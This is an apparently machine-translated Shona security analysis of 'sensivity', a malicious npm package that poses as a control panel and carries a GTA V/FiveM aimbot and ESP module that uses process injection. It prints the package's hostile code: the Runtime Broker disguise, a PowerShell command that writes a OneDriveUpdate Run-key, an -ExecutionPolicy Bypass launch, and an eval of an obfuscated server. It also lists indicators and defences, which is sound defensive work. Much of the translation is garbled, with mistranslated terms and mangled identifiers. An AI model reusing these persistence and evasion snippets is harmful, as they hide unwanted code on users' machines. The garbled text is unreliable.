TL; DR
Iyo npm package kunzwa kwemuviri Inozvitsanangura se "Sensivity Control Panel." PaWindows inoita sechishandiso chekudzora zviri kure uye chekutarisa.
Nzvimbo yayo yekutanga, launcher.js, inoshandura maitiro ayo kuita Runtime Broker, inonyora kukosha kwe autostart Run-key kunonzi OneDriveUpdate iyo inovhurazve pasuru iyi kuburikidza neVBScript yakavanzwa, inoburitsa PowerShell ne -ExecutionPolicy Bypass, uye wobva wabvisa mutoro we server yakavharika ye 171 KB pamwe chete ne 6.87 MB native module, sens.node.
Inoshandisa control panel yekubatanidza mafoni paTCP port 3000 uye inoverenga URL yeadress-bar yebrowser iri kushanda kuburikidza neWindows UIAutomation, ichitsvaga vhidhiyo imwe chete yeYouTube ine hard-code.
Zvikamu zviviri zvakamboonekwa semabhokisi matema zvagadziriswa. Seva yakavharika, server.obf.js, inoshandisa obfuscator.io RC4 string-array scheme; kugadzirisazve decoder yayo isina kushanda (hapana JavaScript yakaitwa) kunodzosa imwe external endpoint — https://izopi.com/check.php — pamwe chete nekiyi yeruzhinji yeRSA yakashandiswa kusimbisa mhinduro dzerezinesi dzakasainwa.
Module yemuno, sens.node, haina kurongedzwa: tafura yayo yekupinza uye tambo dzakaiswa mukati dzinoiratidza seDirectX 11 / Dear ImGui mu-game overlay inopa aimbot, ESP (wall-hack), uye maficha etriggerbot, anotungamirirwa ne remote-process injection uye memory reads/writes.
Tambo dziri mukati mayo dzinoratidza zvinhu zvemotokari nenzvimbo dzemepu zvinoenderana neGTA V / FiveM. Pakeji yenpm ndiyo chifukidziro chekutumira uye chekutsungirira chakatenderedza module iyoyo.
Chiratidzo chinotsanangura chiri kushanda, kwete zvehunyanzvi: muparidzi mumwe chete asingazivikanwe akasundira shanduro dzinenge makumi manomwe dzepakeji imwe chete — 2.5.0 kusvika 2.5.69 — kwemazuva mashoma, imwe neimwe iine chinhu chimwe chete chinoburitsa zvinhu.
Hapana kuiswa hooksMutoro wepayload unoshanda chete kana pasuru yatanga.
Kurwiswa: Mashandiro Akwo
sensivity inotumira mafaira gumi. Package.json haina zvakawanda: hapana nzvimbo yekuchengetedza, hapana rezinesi, main uye maviri bin aliases (sensivity, sens) ese anonongedzera ku launcher.js, uye start script ye node launcher.js. Hapana postinstall kana preinstall. Hapana chinoshanda pa npm install. Maitiro anotsanangurwa pazasi anomhanya kana mushandisi atanga package - kuburikidza ne bin shim, start script, kana a require.
Tarball inotakura launcher, obfuscated server, native module, Visual Basic script, uye public/web directory ye control panel. launcher.js ndiyo orchestrator inoverengwa; pfungwa inokosha panguva yekumhanya inogara muma blobs maviri ainorodha - obfuscated server uye compiled native module, ese ari maviri akagadziriswa pazasi.
Maitiro ekugadzira masquerade uye OneDrive updater yenhema
Pakutanga kwe execution launcher.js inoisa zita rayo remaitiro kaviri:
javascript process.title = 'Runtime Broker'; Runtime Broker inzira yepamutemo yeWindows (RuntimeBroker.exe) inobvumidza mvumo yeapp. Kutumidzazve Node kuti ienderane nayo zvinoreva kuti kutarisa Task Manager nekukurumidza hakuratidzi chinhu chinoshamisa.
Kuramba kwakanyorwa kuburikidza nePowerShell pane kushandisa direct registry API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Kukosha kwe autostart kunonzi OneDriveUpdate, uye hakunongedzeri papakeji zvakananga. Kunongedzera pa wscript.exe ichimhanyisa OneDrive.Standalone.Updater.vbs yakaunganidzwa. Chinyorwa ichocho chinovhurazve node launcher.js muhwindo rakavanzika. Zita reRun-key neVBScript filename zvinokwereta Microsoft branding, saka chinyorwa che autostart chinoverengwa sebasa reOneDrive.
PowerShell ine nzira yekuuraya-mutemo inodarika
Chinoburitsa ma "launcher" chinodzokorora PowerShell kakawanda. Sink iyo scanners inoratidza kuti yakakosha ndiyo yekutanga .ps1 yakagadzirwa nemutemo wekuita wakadzimwa:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass inobvisa cheki yekusaina script yemuno yekukumbira ikoko. Mascript akagadzirwa anobata basa rekutarisa browser uye kuona mahwindo anotsanangurwa muchikamu chinotevera.
Seva yakavharika uye module yemuno
Mushure mekuseta, launch.js inorodha uye inoita payload yayo chaiyo:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js ine 171 KB ye _0x-array obfuscation — iyo JavaScript pattern apo tambo yega yega nechinongedzo zvinotsiviwa ne index kuita shuffled array, zvozobviswa panguva yekumhanya. Chirongwa ichi imhando yeRC4 yakagadzirwa ne obfuscator.io: single decoder function base64-decode an array entry uye RC4-decrypt it ne per-call key. Kuisazve decoder iyoyo mu script yakasiyana — ichimhanyisa chete re-implementation pamusoro pe extracted 821-entry string array, kwete JavaScript yepakeji yacho — inoisunungura zvakachena. Nzvimbo dzipi dziri shoma asi decisive: URL imwe chete yekunze, https://izopi.com/check.php`, yakapihwa kune LICENSE_URL constant; RSA PUBLIC_KEY_PEM`; nzira dzepanel yemuno /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, uye /trigger/status; uye strings child_process, crypto, uye [Sensivity] sens.node loaded — yekupedzisira iri iyo chaiyo log line iyo launcher inonyorazve kune program module loaded. Endpoint i rezinesi check: client inotumira identifier (server yakavharika inogadzira Discord ID: %s string) uye RSA key inosimbisa mhinduro yakasainwa yeserver.
sens.node i 6.87 MB compiled native addon, uye haina kurongedzwa — section entropy iri pa 5.6–6.6 uye PE import and export tables hadzina kukanganiswa, saka kugona kwayo kuverengwa zvakananga. Inotumira napi_register_module_v1, iyo standard Nzvimbo yekupinda yeNode N-API, saka sevha ye eval'd inoiisa nechinhu chisingadiwi. Tafura yayo yekuisa ndiyo tell. Kubva kuKERNEL32 inodhonza OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, uye Process32First/NextW — seti ye canonical yekutsvaga imwe nzira, kugovera ndangariro mukati mayo, uye kuverenga kana kunyora ndangariro iyoyo. Kubva kuUSER32 inodhonza GetAsyncKeyState, GetKeyState, mouse_event, uye SetCursorPos; inobatanidza d3d11.dll, D3DCOMPILER_43, uye dwmapi ye overlay on-screen, uye seti yakazara yeWINHTTP ye network calls. Tambo dzayo dzakaiswa zita rechinhu ichi pasina kujeka: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat yakawanikwa, uye banner yeDear ImGui Dear ImGui 1.91.3 WIP. Nzvimbo netambo dzechinhu dzakadai seGrapeseed Medical Clinic uye mazwi evehicle-ESP zvinoenderana neGTA V / FiveM.
Kupatsanurwa kwacho kunoitwa nemaune: iyo inoverengwa launcher.js inotakura zvikamu zvinoverengwa neskena zviri nyore - kuramba, kunyengedza, iyo eval call pachayo - nepo obfuscation ichivanza iyo imwe host yekunze iyo runtime contacts, uye iyo binary inobata game-overlay uye process-injection logic. Iyo launcher igoko rakatetepa, rinoongororwa; iyo obfuscated server inovanza network identity; iyo native module ndiyo payload. Tinotsanangura imports ne strings dze binary sedzakaverengwa; hatifungidzire chinangwa chemushandisi kubva pazviri.
Panera rekudzora rinobatana nefoni pachiteshi 3000
Chinovhura chinoshandisa web server yemuno paTCP port 3000 uye chinoibata se singleton. Chinobvunza muteereri aripo uye chinoibvisa chisati chasunga:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panel yacho inogona kusvikwa pa http://localhost:3000, ine URL ye LAN fallback ine hard-coded ye http://192.168.1.16:3000. Public/ dhairekitori uye maitiro epanel zvinoenderana ne QR-pairing flow: foni inoskena kodhi uye inosunga kune host se remote. Hapana external command-and-control domain inoonekwa mu cleartext mu launcher — asi, sezvinoratidzwa ne deobfuscation pamusoro apa, imwe iripo mu obfuscated server: iyo izopi.com license endpoint. Panel pachayo iri local uye LAN-scoped; outbound host chete ndiyo rezinesi rekutarisa.
Muenzaniso wemutariri/mushandi wakaparadzana unochengetedza maitiro acho ari mupenyu. Chinoburitsazve zviratidzo zveSENSIVIVE_SUPERVISOR uye SENSIVIVE_WORKER, mwana wega wega achimhanya akavanda, saka kuuraya maitiro mamwe chete kunosiya munhu anoatarisa kuti atangezve.
Kuongororwa kweBrowser uye YouTube Signal
Maitiro chaiwo ndeekutarisa browser. launcher.js inovaka PowerShell iyo inofambisa Windows UIAutomation kuti iverenge kero yebrowser iri kushanda:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern inodzosa zviri mukati meUI element. Inoshandiswa pakugadzirisa address-bar yebrowser, inodzosa URL iyo munhu ari kuona — isina browser extension, isina kubata profile padiski, uye isina API hook. Chinyorwa chakagadzirwa chinodzokorora runyorwa rwe $browserNames uye chinobvisa URL kana zita rewindow rebrowser chero ipi zvayo iri pamberi.
Iyo URL inoedzwa ichishandiswa pane chinangwa chimwe chete chakanyorwa makodhi:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Chinovhura chinoongorora pahwindo rebrowser rinoratidza YouTube nemasekondi matatu, uye PowerShell yakagadzirwa ine Get-YouTubeBrowser / Test-TargetYouTubeUrl peya inoenderana neiyo video ID. Mhedzisiro inoonekwa ine mbiri: URL yekubhurawuza inoshanda inoverengwa kubva pachiratidziro chemunhu anenge abatwa, uye kutaurirana kwemugadziri nevhidhiyo imwe chete yeYouTube kunoonekwa. Tinotsanangura mashandiro acho nechinangwa; hatifungidzire chikonzero kubva pazviri.
Kuverenga kero yekero ndiko kunotumidzwa neskena sensitive_data_enumeration — a Process::env uye UIAutomation source inopa network-capable runtime. Inotaridzika zvakanaka yoga uye inongotarisa kana data resepture yawanikwa kubva kuUIAutomation source kuenda ku obfuscated server.
Nguva uye Kushanduka kweShanduro
Kunzwa hakusi kungoiswa kamwe chete. Akaundi yemuparidzi ine shanduro dzinosvika makumi manomwe dzakaburitswa dzepakeji imwe chete iyi, uye itsva dzakaramba dzichisvika panguva yekuongorora. Chinovhura chinowedzera chimiro nechinhu mumutsara we2.5.x ukuwo kuramba kwacho uye mutoro wekutakura zvinhu zvichiripo.
| Zuva (UTC) | Mavhezheni akacherechedzwa | Mamiriro ekuvhura |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Chinovhura QR-panel base; Run-key persistent; eval ye obfuscated server. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Chigunwe chimwe chete; kudzvinyirirwa kwe console-trace. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Inowedzera chinangwa chekubatanidzwa paYouTube chakabatanidzwa wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Kuzadza mipata kuchaburitswazve munzvimbo dzakasiyana siyana; mutariri/mushandi anoongorora. |
Kuverenga launcher pakati pevamiririri vakadhawunirodha — 2.5.0, 2.5.36, uye 2.5.69 — kunoratidza matanho mana. Zvivakwa zvekutanga zvine base QR-pairing launcher. Kubva pa2.5.33 UIAutomation address-bar harvester inoonekwa. Kubva pa2.5.58 pane supervisor-management layer inowedzerwa. Kubva pa2.5.64 detached supervisor/worker watchdog inopedzisa set. Mukati mezvose, zvinhu zvina hazvimbochinji: OneDriveUpdate Run key, OneDrive.Standalone.Updater.vbs dropper, eval'd server.obf.js, uye sens.node native module.
Mafungu e2026-06-05 anozivikanwa nekuti akaburitsazve nhamba dzeshanduro shoma — 2.5.0 kusvika 2.5.15 — dziri pasi peshanduro dzakasimbiswa mazuva apfuura. Mhedzisiro yacho imutsara we2.5.x wakabatana pane registry, shanduro yega yega ine launcher imwechete.
Zviratidzo zvekubvumirana
Zviratidzo zvese zviri pazasi zvakaverengwa zvakananga kubva pa tarball yepakeji. Chinogoneka kuverenga chine loopback chete uye kero imwe chete yeLAN yakavanzika; iyo hostname imwe chete yekunze, izopi.com, yakawanikwa ne deobfuscating server.obf.js offline.
| mhando | Chiratidzo | Notes |
|---|---|---|
| nhuri | npm:sensivity (≈70 shanduro, 2.5.0-2.5.69) | Muparidzi wepakeji imwe chete; hapana nzvimbo yekuchengetera zvinhu; isina rezenisi. |
| faira | launcher.js | Mugadziri wemimhanzi anoverengwa; chinangwa chikuru nechakagadzirwa nebhini. |
| faira | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, yakazadzwa kuburikidza ne eval(fs.readFileSync(...)). |
| faira | sens.node (≈6.87 MB) | PE32+ x86-64 Node N-API addon; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| faira | OneDrive.Standalone.Updater.vbs | Chinovhurazve chakavanzwa (node launcher.js). |
| Network | https://izopi.com/check.php | Rezinesi/mvumo yekupedzisira yakawanikwa kubva kuseva yakavharika; kiyi yeruzhinji yeRSA yakavharirwa inosimbisa mhinduro. |
| Capability | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Kupinza ma "remote-process" uye kugona kuverenga/kunyora ndangariro. |
| Capability | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui game overlay inoshandisa aimbot, ESP, uye maficha etriggerbot. |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Kukosha kwekutanga otomatiki kunongedzera pa wscript.exe uye VBScript launcher. |
| urongwa | process.title = 'Runtime Broker' | Anozviita senzira yepamutemo yeWindows Runtime Broker. |
| Kuzvibata | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Kupfuura mutemo wekuita basa kunoshandiswa pakunyora maPowerShell scripts. |
| Kuzvibata | UIAutomation ValuePattern kuverenga kwebhawa rekero rebrowser | Inoverenga URL yehwindo rekumberi rebrowser. |
| Kuzvibata | ID yevhidhiyo yakanangana wJWta2lO0Lw; Ongororo yeYouTube yemasekonzi matatu | Chiratidzo chekutarisa kubatanidzwa chakabatanidzwa. |
| Network | http://localhost:3000, kudzokera shure http://192.168.1.16:3000 | Panera rekudzora reQR-pairing rakaonekwa munharaunda uye paLAN. |
| mhepo mvura nenzvimbo | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Mireza yekubatanidza maitiro ekuchengetedza yakaparadzana. |
Kupihwa, Kukanganisa, uye Vadziviriri
Pakeji iyi inoburitswa neakaundi imwe chete yenpm ine email yakanyorwa isiri yeGmail address isina kusimbiswa. Account iyi ine registry reputation score isina kunaka, inochengetedza uye inoburitsa pakeji iyi imwe chete, uye haina linked source repository. Hatina kusimbisa muridzi we email iyi uye tinoti campaign iyi yakabva kuakaundi yemuparidzi, kwete kumunhu chero upi zvake akanyorwa zita rake. Launcher haina cleartext infrastructure, asi imwe chete external host yava kuzivikanwa: obfuscated server inosangana ne izopi.com kuti ionekwe rezenisi, uye native module — inoverengwa kubva patafura yayo yekuisa uye strings pane reversed instruction-by-instruction — mutambo wepamusoro unopinda uye unoverenga memory yeimwe process.
Kukanganisa kunoonekwa kunowira pavashandisi veWindows vanoisa uye vanomhanyisa sensivity vachitarisira chishandiso checontrol-panel. Pamahost avo, package inosimbisa autostart persistence yakavanzika seOneDrive task, inozvitumidza zita kuti iteedzere system process, inoverenga URL yechero chiri kubhuroka nemushandisi, uye inomisa pairing panel inosunga muchina kune remote kuburikidza ne network yemuno. Supervisor/worker watchdog zvinoreva kuti single process kill haibvisi; Run-key entry inopona reboots. macOS neLinux hazvinangirwe ne launcher - persistence, PowerShell, uye UIAutomation nzira ndedzeWindows chete.
Kuchinja kwemavhezheni makumi manomwe ndiko kunofanirwa kucherechedzwa. Kuburitsa pasuru imwe chete kakawanda mumazuva mashoma, kusanganisira manhamba evhezheni anozadzwa pasi peaya atobviswa, kunoita kuti kopi irambe iripo pane registry pakati pekubvisa uye kunovhiringidza ma blocklists ane version-pined. Kuisa blocklist ye sensivity@2.5.61 hapana chinopikisa sensivity@2.5.3 yakaburitswazve zuva rakatevera.
Vadziviriri vanogona kuita zvinotevera:
- Dzivirira kunzwisiswa kwezita repakeji zvachose mu registry-proxy uye CI allowslists. Kupinza mavhezheni ega ega kunorasikirwa ne republish cadence; zita racho ndiro chiratidzo chekugara kwenguva refu.
- Tsvaga Run value inonzi OneDriveUpdate ine data rinoshandisa wscript.exe kurwisa .vbs munzira yemushandisi wega wega. OneDrive updater chaiyo haina kunyoreswa nenzira iyi.
- Ziviso pamusoro pemaitiro eNode.js ane process.title yeRuntime Broker. Mutengesi chaiye ndiRuntimeBroker.exe, kwete Node runtime.
- Ratidza npm install-time fetches dzemapakeji anotumira compiled .node addon pamwe ne eval(fs.readFileSync(…)) yefaira re .obf.js rehama. Kubatana ikoko — opaque native binary yakazadzwa padivi pe obfuscated text payload — ndiyo structural till pano, isina chekuita ne string IOC.
- Bata chero muteereri wemunharaunda ari pachiteshi 3000 anokonzerwa nemaitiro asingatarisirwi eNode seanofungirwa pamagumo eWindows anotungamirwa.
- Vhara kana kuzivisa zvikumbiro zvekubuda kuenda ku izopi.com kubva kuvagadziri vemawebhusaiti kana vashandisi vekupedzisira; ndiyo yega nzvimbo yekunze yepakeji, inosvikwa pa /check.php kubva kuseva yakavharika.
- Kune chero .node addon yakaunganidzwa, tarisa tafura yayo yekupinza usati waivimba nayo. Musanganiswa weOpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread injection yeremote-process zvisinei nekuti package inoti chii; apa iri padyo neDirect3D overlay uye aimbot/ESP/triggerbot strings.
Yekuongorora kwemamiriro ezvinhu pipelines, chimiro chechivimbo chakasimba muvhezheni yese: profile yekuisa isiri yenetwork, process-title assignment kune zita rinozivikanwa resystem-process, Run-key write kuburikidza nePowerShell, uye eval yefaira raverengwa kubva padiski. Hapana chimwe chazvo chinoenderana nedomain, IP, kana nhamba yevhezheni iyo inotevera inogona kutenderera.
References
[npm: kunzwa] – peji rekunyoresa remutsara wepakeji yeshanduro yakakurukurwa pano; inogona kubviswa.
